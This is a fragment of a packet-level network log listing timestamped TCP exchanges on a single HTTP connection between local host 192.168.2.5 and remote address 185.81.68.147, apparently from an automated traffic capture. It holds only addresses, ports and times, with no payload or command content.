Dec 26, 2024 12:05:10.390772104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.390818119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.390876055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.390918970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.391861916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.391940117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.391942978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.391982079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.392764091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.392811060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.392879963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.392920017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.393789053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.393886089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.393944025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.394836903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.394886971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.394908905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.395019054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.395847082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.395896912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.396060944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.396105051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.396867037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.396915913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.397069931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.397114992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.397888899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.398015022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.398063898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.398988008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.399035931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.399099112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.399139881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.399976015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.400017023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.400047064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.400085926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.400966883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.401006937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.401036024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.401076078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.402043104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.402132034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.402175903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.403038979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.403079987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.403146982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.403187037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.404048920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.404090881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.404122114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.404164076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.405081034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.405126095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.405164003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.405277014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.406109095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.406212091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.406261921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.407171011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.407217979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.407248974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.407309055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.408143044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.408251047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.408277035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.408298969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.409156084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.409564018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.566099882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.566157103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.566217899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.566217899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.566523075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.566658020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.566766977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.567554951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.567614079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.567641020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.567701101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.568631887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.568706989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.568743944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.568815947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.569725990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.569775105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.569801092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.570621014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.570660114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.570760012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.570815086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.571686029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.571728945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.571842909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.571881056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.572841883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.572905064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.572956085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.573016882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.573743105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.573786020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.573865891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.573951006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.574745893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.574841976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.574888945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.574888945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.575844049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.575911045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.576001883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.576076984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.576858997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.576920033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.576953888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.576997042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.578099966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.578192949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.578285933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.578903913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.578960896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.578969955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.579050064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.579874039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.579979897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.579998016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.580008984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.580982924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.581034899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.581094980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.581154108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.582191944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.582236052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.582263947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.582319021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.583086014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.583126068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.583179951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.583991051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.584048033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.584155083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.584213018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.585000992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.585042000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.585150003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.585202932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.585974932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.586123943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.586163044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.587033033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.587078094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.587105989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.587169886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.588073969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.588118076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.588138103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.588176012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.589076996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.589131117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.589174032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.589221001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.590116024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.590154886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.590166092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.590221882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.591145992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.591202974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.591285944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.592139959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.592180014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.592262030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.592298031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.593177080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.593234062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.593271971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.593312025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.594203949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.594265938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.594299078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.595259905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.595330000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.595347881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.595437050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.596745014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.596941948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.597002029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.597567081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.597631931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.597661018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.597708941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.598365068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.598403931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.598447084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.598536015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.599350929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.599456072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.599581003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.600373983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.600419998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.600460052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.600505114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.601358891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.601423979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.601483107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.601545095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.602405071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.603121996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.603178978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.603461981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.603565931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.603605032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.603646994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.604474068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.604507923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.604715109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.604772091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.605489016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.605534077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.605564117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.605607033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.606497049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.606637001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.606690884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.607517958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.607573032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.607657909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.607693911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.608546972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.608597994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.608642101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.608680964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.609571934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.609626055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.609709024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.609782934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.610614061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.610717058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.610769987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.611638069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.611706018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.611742973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.611840010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.612723112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.613056898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.613126993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.613667965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.613748074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.613763094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.613837957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.614717007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.614783049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.614834070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.615737915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.615838051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.615926981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.615974903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.616760969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.616808891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.616878033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.616974115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.617777109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.617894888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.617948055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.618793011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.618843079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.618872881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.618916988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.619756937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.619877100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.776904106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.776916981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.777025938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.777173042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.777179956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.777343035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.778114080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.778161049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.778233051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.779119015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.779165983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.779282093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.779350996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.780148983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.780198097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.780278921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.780345917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.781188011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.781322956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.781339884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.781394005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.782246113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.782313108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.782330036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.782434940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.783257008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.783373117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.783467054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.784338951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.784406900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.784471989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.784526110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.785295963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.785375118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.785454035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.785491943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.786303997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.786362886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.786408901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.786459923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.787383080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.787482977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.787538052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.788362026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.788403034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.788469076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.788515091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.789433002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.789479971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.789499044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.789514065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.790426016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.790537119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.790564060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.790576935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.791459084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.791564941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.791629076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.792448044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.792517900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.792532921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.792612076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.793510914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.793586969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.793684959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.794554949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.794605970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.794665098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.794805050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:10.795550108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:10.795783997 CET	80	49708	185.81.68.147	192.168.2.5
